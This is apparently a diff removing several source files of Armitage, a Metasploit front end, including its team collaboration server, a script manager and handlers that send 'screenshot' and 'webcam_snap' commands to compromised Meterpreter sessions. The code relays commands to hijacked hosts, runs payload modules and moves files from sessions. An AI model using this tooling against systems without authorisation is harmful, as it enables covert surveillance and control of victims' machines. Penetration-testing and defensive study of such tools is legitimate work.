setMissPolicy(%webcams, lambda(&image_viewer, $title => "Webcam", $command => "webcam_snap -v false", $container => %webcams));
|
|
||||||
|
|
||||||
%handlers["screenshot"] = lambda(&update_viewer, $type => "Screenshot", $container => %screenshots);
|
|
||||||
%handlers["webcam_snap"] = lambda(&update_viewer, $type => "Webcam shot", $container => %webcams);
|
|
||||||
|
|
||||||
sub createScreenshotViewer {
|
|
||||||
return lambda({
|
|
||||||
m_cmd($sid, "screenshot -v false");
|
|
||||||
}, $sid => $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createWebcamViewer {
|
|
||||||
return lambda({
|
|
||||||
m_cmd($sid, "webcam_snap -v false");
|
|
||||||
}, $sid => $1);
|
|
||||||
}
|
|
|
@ -1,168 +0,0 @@
|
||||||
#
|
|
||||||
# Cortana Script Manager...
|
|
||||||
#
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.io.*;
|
|
||||||
import java.net.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.imageio.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
import cortana.*;
|
|
||||||
|
|
||||||
sub getCortanaConsole {
|
|
||||||
this('$console');
|
|
||||||
if ($console is $null) {
|
|
||||||
$console = [new console.Console: $preferences];
|
|
||||||
logCheck($console, "all", "cortana");
|
|
||||||
|
|
||||||
[$console updatePrompt: "\Ucortana\o> "];
|
|
||||||
setupConsoleStyle($console);
|
|
||||||
|
|
||||||
# make it so all I/O gets placed here...
|
|
||||||
fork({
|
|
||||||
[$cortana addTextListener: lambda({
|
|
||||||
[$console append: "$1 $+ \n"];
|
|
||||||
}, \$console)];
|
|
||||||
}, \$console, \$cortana);
|
|
||||||
|
|
||||||
# setup text processing
|
|
||||||
[[$console getInput] addActionListener: lambda({
|
|
||||||
local('$text');
|
|
||||||
$text = [$1 getActionCommand];
|
|
||||||
[$console append: "cortana> $text $+ \n"];
|
|
||||||
[[$1 getSource] setText: ""];
|
|
||||||
if ($text ne "") {
|
|
||||||
fork({
|
|
||||||
[$cortana processCommand: $text];
|
|
||||||
}, \$cortana, \$text);
|
|
||||||
}
|
|
||||||
}, \$console)];
|
|
||||||
|
|
||||||
# setup tab completion
|
|
||||||
[new CortanaTabCompletion: $console, $cortana];
|
|
||||||
}
|
|
||||||
return $console;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub updateScriptList {
|
|
||||||
local('$table $model $script');
|
|
||||||
($table, $model) = @_;
|
|
||||||
[$model clear: 16];
|
|
||||||
foreach $script (listScripts()) {
|
|
||||||
[$model addEntry: %(name => $script, flags => "")];
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showScriptConsole {
|
|
||||||
[$frame addTab: "Cortana", getCortanaConsole(), $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showScriptManager {
|
|
||||||
local('$dialog $table $model $load $unload $reload $console $scripts');
|
|
||||||
$dialog = [new JPanel];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
($table, $model) = setupTable("name", @("name", "flags"), @());
|
|
||||||
updateScriptList($table, $model);
|
|
||||||
[$table setSelectionMode: [ListSelectionModel SINGLE_INTERVAL_SELECTION]];
|
|
||||||
|
|
||||||
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$load = [new JButton: "Load"];
|
|
||||||
$unload = [new JButton: "Unload"];
|
|
||||||
$console = [new JButton: "Console"];
|
|
||||||
$scripts = [new JButton: "Scripts"];
|
|
||||||
|
|
||||||
[$unload addActionListener: lambda({
|
|
||||||
local('$script $s @scripts');
|
|
||||||
$script = [$model getSelectedValue: $table];
|
|
||||||
if ($script eq "") {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
[$cortana unloadScript: $script];
|
|
||||||
@scripts = listScripts();
|
|
||||||
foreach $s (@scripts) {
|
|
||||||
if ($s eq $script) {
|
|
||||||
remove();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
saveScripts(@scripts);
|
|
||||||
updateScriptList($table, $model);
|
|
||||||
}, \$table, \$model)];
|
|
||||||
|
|
||||||
[$load addActionListener: lambda({
|
|
||||||
local('$file');
|
|
||||||
$file = chooseFile($always => 1);
|
|
||||||
if ($file is $null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
[$cortana loadScript: $file];
|
|
||||||
addScript($file);
|
|
||||||
updateScriptList($table, $model);
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
if ($exception isa ^sleep.error.YourCodeSucksException) {
|
|
||||||
showScriptError("Could not load $file $+ :\n\n" . [$exception formatErrors]);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
showError($exception);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$table, \$model)];
|
|
||||||
|
|
||||||
[$scripts addActionListener: gotoURL("https://github.com/rsmudge/cortana-scripts")];
|
|
||||||
|
|
||||||
[$console addActionListener: &showScriptConsole];
|
|
||||||
|
|
||||||
[$dialog add: center($load, $unload, $console, $scripts), [BorderLayout SOUTH]];
|
|
||||||
[$frame addTab: "Scripts", $dialog, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showScriptError {
|
|
||||||
local('$dialog $text $close');
|
|
||||||
$dialog = dialog("Script Error", 640, 320);
|
|
||||||
|
|
||||||
$text = [new console.Display: $preferences];
|
|
||||||
[$text setText: $1];
|
|
||||||
[$text setFont: [Font decode: [$preferences getProperty: "console.font.font", "Monospaced BOLD 14"]]];
|
|
||||||
[$text setForeground: [Color decode: [$preferences getProperty: "console.foreground.color", "#ffffff"]]];
|
|
||||||
[$text setBackground: [Color decode: [$preferences getProperty: "console.background.color", "#000000"]]];
|
|
||||||
|
|
||||||
$close = [new JButton: "Close"];
|
|
||||||
[$close addActionListener: lambda({
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$dialog)];
|
|
||||||
|
|
||||||
[$dialog add: $text, [BorderLayout CENTER]];
|
|
||||||
[$dialog add: center($close), [BorderLayout SOUTH]];
|
|
||||||
[$dialog show];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub addScript {
|
|
||||||
local('@scripts');
|
|
||||||
@scripts = listScripts();
|
|
||||||
push(@scripts, $1);
|
|
||||||
saveScripts(@scripts);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub listScripts {
|
|
||||||
local('$scripts');
|
|
||||||
$scripts = [$preferences getProperty: "cortana.scripts", ""];
|
|
||||||
if ($scripts ne "") {
|
|
||||||
return split("!!", $scripts);
|
|
||||||
}
|
|
||||||
return @();
|
|
||||||
}
|
|
||||||
|
|
||||||
sub saveScripts {
|
|
||||||
[$preferences setProperty: "cortana.scripts", join("!!", $1)];
|
|
||||||
savePreferences();
|
|
||||||
}
|
|
||||||
|
|
|
@ -1,538 +0,0 @@
|
||||||
#
|
|
||||||
# -= Armitage Network Attack Collaboration Server =-
|
|
||||||
#
|
|
||||||
# This is a separate application. It creates a second interface that Armitage uses
|
|
||||||
# to collaborate with other network attack clients.
|
|
||||||
#
|
|
||||||
# Features include:
|
|
||||||
# - Meterpreter multiplexing (writes take ownership of a session, reads are silently ignored
|
|
||||||
# for non-owner clients).
|
|
||||||
# - Upload/download files (allows feature dependent on files to work)
|
|
||||||
# - Group chat (because everyone loves chatting...)
|
|
||||||
#
|
|
||||||
# This is a proof of concept quickly hacked out (do you see how long this code is?)
|
|
||||||
#
|
|
||||||
# My goal is to eventually see this technology ported to Metasploit's RPC interface
|
|
||||||
# so this second instance can be done away with.
|
|
||||||
#
|
|
||||||
# Any takers? :)
|
|
||||||
#
|
|
||||||
|
|
||||||
debug(7);
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import ssl.*;
|
|
||||||
|
|
||||||
sub result {
|
|
||||||
local('$rv $key $value');
|
|
||||||
$rv = [new HashMap];
|
|
||||||
foreach $key => $value ($1) {
|
|
||||||
[$rv put: "$key", "$value"];
|
|
||||||
}
|
|
||||||
return $rv;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub event {
|
|
||||||
local('$result');
|
|
||||||
$result = formatDate("HH:mm:ss") . " $1";
|
|
||||||
[$events put: $result];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub client {
|
|
||||||
local('$temp $result $method $eid $sid $args $data $session $index $rv $valid $h $channel $key $value $file $response $time $address $app $ver %async %consoles');
|
|
||||||
|
|
||||||
# do these things asynchronously so we don't tie up a client's thread
|
|
||||||
%async['module.execute'] = 1;
|
|
||||||
%async['core.setg'] = 1;
|
|
||||||
%async['console.destroy'] = 1;
|
|
||||||
|
|
||||||
#
|
|
||||||
# verify the client
|
|
||||||
#
|
|
||||||
$temp = readObject($handle);
|
|
||||||
($method, $args) = $temp;
|
|
||||||
if ($method ne "armitage.validate") {
|
|
||||||
writeObject($handle, result(%(error => 1, message => "You're not authenticated")));
|
|
||||||
[[$handle getOutputStream] flush];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
local('$user $pass');
|
|
||||||
($user, $pass, $eid, $app, $ver) = $args;
|
|
||||||
|
|
||||||
if ($user ne $_user || $pass ne $_pass) {
|
|
||||||
warn("Rejected $eid (invalid login)");
|
|
||||||
writeObject($handle, result(%(error => 1, message => "Invalid login.")));
|
|
||||||
[[$handle getOutputStream] flush];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else if ($app ne "armitage") {
|
|
||||||
warn("Rejected $eid (wrong application)");
|
|
||||||
writeObject($handle, result(%(error => 1, message => "Your client is not compatible with this server.\nPlease use the latest version of Armitage.")));
|
|
||||||
[[$handle getOutputStream] flush];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else if ($ver < 120326) {
|
|
||||||
warn("Rejected $eid (old software -- srsly, update people!)");
|
|
||||||
writeObject($handle, result(%(error => 1, message => "Your client is outdated.\nPlease use the latest version of Armitage.")));
|
|
||||||
[[$handle getOutputStream] flush];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else if ($motd ne "" && -exists $motd) {
|
|
||||||
$temp = openf($motd);
|
|
||||||
writeObject($handle, result(%(message => readb($temp, -1))));
|
|
||||||
closef($temp);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
writeObject($handle, result(%(message => "Collaboration setup!")));
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($eid !is $null) {
|
|
||||||
event("*** $eid joined\n");
|
|
||||||
warn("*** $eid joined");
|
|
||||||
}
|
|
||||||
[[$handle getOutputStream] flush];
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# on our merry way processing it...
|
|
||||||
#
|
|
||||||
while $temp (readObject($handle)) {
|
|
||||||
($method, $args) = $temp;
|
|
||||||
|
|
||||||
if ($method eq "session.meterpreter_read") {
|
|
||||||
($sid) = $args;
|
|
||||||
$result = $null;
|
|
||||||
|
|
||||||
acquire($read_lock);
|
|
||||||
if (-isarray $queue[$sid] && size($queue[$sid]) > 0) {
|
|
||||||
$result = shift($queue[$sid]);
|
|
||||||
}
|
|
||||||
release($read_lock);
|
|
||||||
|
|
||||||
if ($result !is $null) {
|
|
||||||
writeObject($handle, $result);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
writeObject($handle, result(%(data => "", encoding => "base64")));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($method eq "session.meterpreter_write") {
|
|
||||||
($sid, $data) = $args;
|
|
||||||
|
|
||||||
#warn("P $sess_lock");
|
|
||||||
acquire($sess_lock);
|
|
||||||
$session = %sessions[$sid];
|
|
||||||
release($sess_lock);
|
|
||||||
#warn("V $sess_lock");
|
|
||||||
|
|
||||||
if ($data ismatch "write -c (\\d+) (.*)\n") {
|
|
||||||
($channel, $data) = matched();
|
|
||||||
|
|
||||||
$file = getFileProper("command $+ $sid $+ . $+ $channel $+ .txt");
|
|
||||||
$h = openf("> $+ $file");
|
|
||||||
writeb($h, "$data $+ \r\n");
|
|
||||||
closef($h);
|
|
||||||
deleteOnExit($file);
|
|
||||||
|
|
||||||
[$session addCommand: $id, "write -f \"" . strrep($file, "\\", "/") . "\" $channel $+ \n"];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$session addCommand: $id, $data];
|
|
||||||
}
|
|
||||||
|
|
||||||
writeObject($handle, [new HashMap]);
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.lock") {
|
|
||||||
($sid) = $args;
|
|
||||||
acquire($lock_lock);
|
|
||||||
$data = %locks[$sid];
|
|
||||||
if ($data is $null) {
|
|
||||||
%locks[$sid] = $eid;
|
|
||||||
}
|
|
||||||
release($lock_lock);
|
|
||||||
if ($data is $null) {
|
|
||||||
writeObject($handle, result(%()));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
writeObject($handle, result(%(error => "$data owns this session.")));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.unlock") {
|
|
||||||
($sid) = $args;
|
|
||||||
acquire($lock_lock);
|
|
||||||
$data = %locks[$sid];
|
|
||||||
if ($data is $null || $data eq $eid) {
|
|
||||||
%locks[$sid] = $null;
|
|
||||||
}
|
|
||||||
release($lock_lock);
|
|
||||||
writeObject($handle, result(%()));
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.log") {
|
|
||||||
($data, $address) = $args;
|
|
||||||
event("* $eid $data $+ \n");
|
|
||||||
if ($address is $null) {
|
|
||||||
$address = [$client getLocalAddress];
|
|
||||||
}
|
|
||||||
call_async($client, "db.log_event", "$address $+ // $+ $eid", $data);
|
|
||||||
writeObject($handle, result(%()));
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.skip") {
|
|
||||||
[$events get: $eid];
|
|
||||||
writeObject($handle, result(%()));
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.poll" || $method eq "armitage.push") {
|
|
||||||
if ($method eq "armitage.push") {
|
|
||||||
($null, $data) = $args;
|
|
||||||
foreach $temp (split("\n", $data)) {
|
|
||||||
[$events put: formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$rv = result(%(data => [$events get: $eid], encoding => "base64", prompt => "$eid $+ > "));
|
|
||||||
writeObject($handle, $rv);
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.lusers") {
|
|
||||||
$rv = [new HashMap];
|
|
||||||
[$rv put: "lusers", [$events clients]];
|
|
||||||
writeObject($handle, $rv);
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.append") {
|
|
||||||
($file, $data) = $args;
|
|
||||||
|
|
||||||
$h = openf(">>" . getFileName($file));
|
|
||||||
writeb($h, $data);
|
|
||||||
closef($h);
|
|
||||||
|
|
||||||
writeObject($handle, result(%()));
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.upload") {
|
|
||||||
($file, $data) = $args;
|
|
||||||
|
|
||||||
$h = openf(">" . getFileName($file));
|
|
||||||
writeb($h, $data);
|
|
||||||
closef($h);
|
|
||||||
|
|
||||||
deleteOnExit(getFileName($file));
|
|
||||||
|
|
||||||
writeObject($handle, result(%(file => getFileProper($file))));
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.download") {
|
|
||||||
if (-exists $args[0] && -isFile $args[0]) {
|
|
||||||
$h = openf($args[0]);
|
|
||||||
$data = readb($h, -1);
|
|
||||||
closef($h);
|
|
||||||
writeObject($handle, result(%(data => $data)));
|
|
||||||
deleteFile($args[0]);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
writeObject($handle, result(%(error => "file does not exist")));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.download_nodelete") {
|
|
||||||
if (-exists $args[0] && -isFile $args[0]) {
|
|
||||||
$h = openf($args[0]);
|
|
||||||
$data = readb($h, -1);
|
|
||||||
closef($h);
|
|
||||||
writeObject($handle, result(%(data => $data)));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
writeObject($handle, result(%(error => "file does not exist")));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($method eq "armitage.downloads") {
|
|
||||||
$response = listDownloads("downloads");
|
|
||||||
writeObject($handle, $response);
|
|
||||||
}
|
|
||||||
else if ($method eq "db.hosts" || $method eq "db.services" || $method eq "db.creds" || $method eq "session.list" || $method eq "db.loots") {
|
|
||||||
$response = [$client_cache execute: $eid, $method, $null];
|
|
||||||
|
|
||||||
if ($args !is $null && -isarray $args && size($args) == 1 && $args[0] == [armitage.ArmitageTimer dataIdentity: $response]) {
|
|
||||||
writeObject($handle, %(nochange => 1));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
writeObject($handle, $response);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ("db.filter" eq $method) {
|
|
||||||
[$client_cache setFilter: $eid, $args];
|
|
||||||
writeObject($handle, %());
|
|
||||||
}
|
|
||||||
else if ("module.*" iswm $method && size($args) == 0) {
|
|
||||||
# never underestimate the power of caching to alleviate load.
|
|
||||||
$response = $null;
|
|
||||||
|
|
||||||
acquire($cach_lock);
|
|
||||||
if ($method in %cache) {
|
|
||||||
$response = %cache[$method];
|
|
||||||
}
|
|
||||||
release($cach_lock);
|
|
||||||
|
|
||||||
if ($response is $null) {
|
|
||||||
$response = [$client execute: $method];
|
|
||||||
|
|
||||||
acquire($cach_lock);
|
|
||||||
%cache[$method] = $response;
|
|
||||||
release($cach_lock);
|
|
||||||
}
|
|
||||||
|
|
||||||
writeObject($handle, $response);
|
|
||||||
}
|
|
||||||
else if ($method eq "console.create" || $method eq "console.allocate") {
|
|
||||||
$response = [$client execute: $method];
|
|
||||||
$data = [$response get: 'id'];
|
|
||||||
%consoles[$data] = 1;
|
|
||||||
writeObject($handle, $response);
|
|
||||||
}
|
|
||||||
else if ($method eq "console.destroy" || $method eq "console.release") {
|
|
||||||
%consoles[$args[0]] = $null;
|
|
||||||
[$client execute_async: $method, cast($args, ^Object)];
|
|
||||||
writeObject($handle, %());
|
|
||||||
}
|
|
||||||
else if ($method eq "module.execute" && $args[0] eq "payload") {
|
|
||||||
$response = [$client execute: $method, cast($args, ^Object)];
|
|
||||||
writeObject($handle, $response);
|
|
||||||
}
|
|
||||||
else if ($method eq "module.execute_direct") {
|
|
||||||
$response = [$client execute: "module.execute", cast($args, ^Object)];
|
|
||||||
writeObject($handle, $response);
|
|
||||||
}
|
|
||||||
else if ($method in %async) {
|
|
||||||
if ($args) {
|
|
||||||
[$client execute_async: $method, cast($args, ^Object)];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$client execute_async: $method];
|
|
||||||
}
|
|
||||||
|
|
||||||
writeObject($handle, %());
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
if ($args) {
|
|
||||||
$response = [$client execute: $method, cast($args, ^Object)];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$response = [$client execute: $method];
|
|
||||||
}
|
|
||||||
|
|
||||||
writeObject($handle, $response);
|
|
||||||
}
|
|
||||||
[[$handle getOutputStream] flush];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($eid !is $null) {
|
|
||||||
event("*** $eid left.\n");
|
|
||||||
[$events free: $eid];
|
|
||||||
}
|
|
||||||
|
|
||||||
# reset the user's filter...
|
|
||||||
[$client_cache setFilter: $eid, $null];
|
|
||||||
|
|
||||||
# cleanup any locked sessions.
|
|
||||||
acquire($lock_lock);
|
|
||||||
foreach $key => $value (%locks) {
|
|
||||||
if ($value eq $eid) {
|
|
||||||
remove();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
release($lock_lock);
|
|
||||||
|
|
||||||
# cleanup any consoles created by not let go of.
|
|
||||||
foreach $key => $value (%consoles) {
|
|
||||||
[$client execute_async: "console.release", cast(@("$key"), ^Object)];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub main {
|
|
||||||
global('$client $mclient');
|
|
||||||
local('$server %sessions $sess_lock $read_lock $lock_lock %locks %readq $id $error $auth %cache $cach_lock $client_cache $handle $console $events');
|
|
||||||
|
|
||||||
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
|
|
||||||
|
|
||||||
#
|
|
||||||
# chastise the user if they're wrong...
|
|
||||||
#
|
|
||||||
if (size(@ARGV) < 5) {
|
|
||||||
println("Armitage deconfliction server requires the following arguments:
|
|
||||||
armitage --server host port user pass
|
|
||||||
host - the address of this host (where msfrpcd is running as well)
|
|
||||||
port - the port msfrpcd is listening on
|
|
||||||
user - the username for msfrpcd
|
|
||||||
pass - the password for msfprcd
|
|
||||||
lport - [optional] port to bind the team server to");
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$host $port $user $pass $sport');
|
|
||||||
($host, $port, $user, $pass, $sport) = sublist(@_, 1);
|
|
||||||
|
|
||||||
if ($sport is $null) {
|
|
||||||
$sport = $port + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# some sanity checking
|
|
||||||
#
|
|
||||||
if ($host eq "127.0.0.1") {
|
|
||||||
println("Do not specify 127.0.0.1 as your msfrpcd host. This IP address\nis given to clients and they use it to connect to this server.");
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# Connect to Metasploit's RPC Daemon
|
|
||||||
#
|
|
||||||
|
|
||||||
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
|
|
||||||
while ($client is $null) {
|
|
||||||
sleep(1000);
|
|
||||||
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
|
|
||||||
}
|
|
||||||
$mclient = $client;
|
|
||||||
initConsolePool(); # this needs to happen... right now.
|
|
||||||
|
|
||||||
# we need this global to be set so our reverse listeners work as expected.
|
|
||||||
$MY_ADDRESS = $host;
|
|
||||||
|
|
||||||
#
|
|
||||||
# setup the client cache
|
|
||||||
#
|
|
||||||
$client_cache = [new RpcCacheImpl: $client];
|
|
||||||
|
|
||||||
#
|
|
||||||
# This lock protects the %sessions variable
|
|
||||||
#
|
|
||||||
$sess_lock = semaphore(1);
|
|
||||||
$read_lock = semaphore(1);
|
|
||||||
$lock_lock = semaphore(1);
|
|
||||||
$cach_lock = semaphore(1);
|
|
||||||
|
|
||||||
# setup any shared buffers...
|
|
||||||
$events = [new armitage.ArmitageBuffer: 250];
|
|
||||||
|
|
||||||
# set the LHOST to whatever the user specified (use console.write to make the string not UTF-8)
|
|
||||||
$console = createConsole($client);
|
|
||||||
call($client, "console.write", $console, "setg LHOST $host $+ \n");
|
|
||||||
sleep(2000);
|
|
||||||
# absorb the output of this command which is LHOST => ...
|
|
||||||
call($client, "console.read", $console);
|
|
||||||
|
|
||||||
# update server's understanding of this value...
|
|
||||||
call($client, "armitage.set_ip", $host);
|
|
||||||
|
|
||||||
#
|
|
||||||
# create a thread to push console messages to the event queue for all clients.
|
|
||||||
#
|
|
||||||
fork({
|
|
||||||
global('$r');
|
|
||||||
while (1) {
|
|
||||||
sleep(2000);
|
|
||||||
$r = call($client, "console.read", $console);
|
|
||||||
if ($r["data"] ne "") {
|
|
||||||
[$events put: formatDate("HH:mm:ss") . " " . $r["data"]];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$client, \$events, \$console);
|
|
||||||
|
|
||||||
#
|
|
||||||
# Create a shared hash that contains a thread for each session...
|
|
||||||
#
|
|
||||||
%sessions = ohash();
|
|
||||||
wait(fork({
|
|
||||||
setMissPolicy(%sessions, {
|
|
||||||
warn("Creating a thread for $2");
|
|
||||||
local('$session');
|
|
||||||
$session = [new MeterpreterSession: $client, $2, 0];
|
|
||||||
[$session addListener: lambda({
|
|
||||||
if ($0 eq "commandTimeout" || $2 is $null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
acquire($read_lock);
|
|
||||||
|
|
||||||
# $2 = string id of handle, $1 = sid
|
|
||||||
if (%readq[$2][$1] is $null) {
|
|
||||||
%readq[$2][$1] = @();
|
|
||||||
}
|
|
||||||
|
|
||||||
#warn("Pushing into $2 -> $1 's read queue");
|
|
||||||
#println([$3 get: "data"]);
|
|
||||||
push(%readq[$2][$1], $3);
|
|
||||||
release($read_lock);
|
|
||||||
})];
|
|
||||||
return $session;
|
|
||||||
});
|
|
||||||
}, \%sessions, \$client, \%readq, \$read_lock));
|
|
||||||
|
|
||||||
#
|
|
||||||
# get base directory
|
|
||||||
#
|
|
||||||
setupBaseDirectory();
|
|
||||||
|
|
||||||
#
|
|
||||||
# setup the database
|
|
||||||
#
|
|
||||||
checkError($null); # clear the error status...
|
|
||||||
local('$database $error');
|
|
||||||
$database = connectToDatabase();
|
|
||||||
[$client setDatabase: $database];
|
|
||||||
|
|
||||||
if (checkError($error)) {
|
|
||||||
|
|
||||||
println("
|
|
||||||
** Error ** ** Error ** ** Error ** ** Error ** ** Error **
|
|
||||||
|
|
||||||
Could not connect to the Metasploit database. It's possible
|
|
||||||
that it's not running. Follow the database troubleshooting
|
|
||||||
steps at:
|
|
||||||
|
|
||||||
http://www.fastandeasyhacking.com/start
|
|
||||||
|
|
||||||
Also note: the latest Metasploit installer (4.1.4+) does not
|
|
||||||
create a postgres start script for you. This would explain
|
|
||||||
why Metasploit's database isn't running. To create one, put:
|
|
||||||
|
|
||||||
exec $BASE_DIRECTORY $+ /postgresql/scripts/ctl.sh \"\$@\"
|
|
||||||
|
|
||||||
in /etc/init.d/framework-postgres. Then start the database:
|
|
||||||
|
|
||||||
service framework-postgres start");
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup the reporting API (must happen after base directory/database is setup)
|
|
||||||
initReporting();
|
|
||||||
|
|
||||||
$server = [new SecureServerSocket: int($sport)];
|
|
||||||
if (checkError($error)) {
|
|
||||||
println("[-] Could not listen on $sport $+ : $error");
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# spit out the details
|
|
||||||
#
|
|
||||||
println("Use the following connection details to connect your clients:");
|
|
||||||
println("\tHost: $host");
|
|
||||||
println("\tPort: $sport");
|
|
||||||
println("\tUser: $user");
|
|
||||||
println("\tPass: $pass");
|
|
||||||
println("\n\tFingerprint (check for this string when you connect):\n\t" . [$server fingerprint]);
|
|
||||||
println("\n" . rand(@("I'm ready to accept you or other clients for who they are",
|
|
||||||
"multi-player metasploit... ready to go",
|
|
||||||
"hacking is such a lonely thing, until now",
|
|
||||||
"feel free to connect now, Armitage is ready for collaboration")));
|
|
||||||
|
|
||||||
$id = 0;
|
|
||||||
|
|
||||||
while (1) {
|
|
||||||
$handle = [$server accept];
|
|
||||||
if ($handle !is $null) {
|
|
||||||
%readq[$id] = %();
|
|
||||||
fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, $queue => %readq[$id], \$id, \$events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
|
|
||||||
|
|
||||||
$id++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
invoke(&main, @ARGV);
|
|
|
@ -1,95 +0,0 @@
|
||||||
#
|
|
||||||
# Process Browser (for Meterpreter)
|
|
||||||
#
|
|
||||||
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
sub updateServiceModel {
|
|
||||||
local('$port $row $host');
|
|
||||||
[$model clear: 256];
|
|
||||||
foreach $host ($hosts) {
|
|
||||||
if ($host in %hosts && 'services' in %hosts[$host]) {
|
|
||||||
foreach $port => $row (%hosts[$host]['services']) {
|
|
||||||
[$model addEntry: $row];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createServiceBrowser {
|
|
||||||
local('$table $model $panel $refresh $sorter $host $copy');
|
|
||||||
|
|
||||||
$model = [new GenericTableModel: @("host", "name", "port", "proto", "info"), "host", 16];
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 2];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
addMouseListener($table, lambda({
|
|
||||||
if ([$1 isPopupTrigger]) {
|
|
||||||
local('$popup $hosts %r $val');
|
|
||||||
$popup = [new JPopupMenu];
|
|
||||||
|
|
||||||
%r = %();
|
|
||||||
foreach $val ([$model getSelectedValues: $table]) {
|
|
||||||
%r[$val] = 1;
|
|
||||||
}
|
|
||||||
$hosts = keys(%r);
|
|
||||||
|
|
||||||
if (size($hosts) > 0) {
|
|
||||||
host_selected_items($popup, $hosts);
|
|
||||||
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$table, \$model));
|
|
||||||
|
|
||||||
[[$table getColumn: "info"] setPreferredWidth: 300];
|
|
||||||
[[$table getColumn: "host"] setPreferredWidth: 125];
|
|
||||||
[$sorter setComparator: 2, { return $1 <=> $2; }];
|
|
||||||
[$sorter setComparator: 0, &compareHosts];
|
|
||||||
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
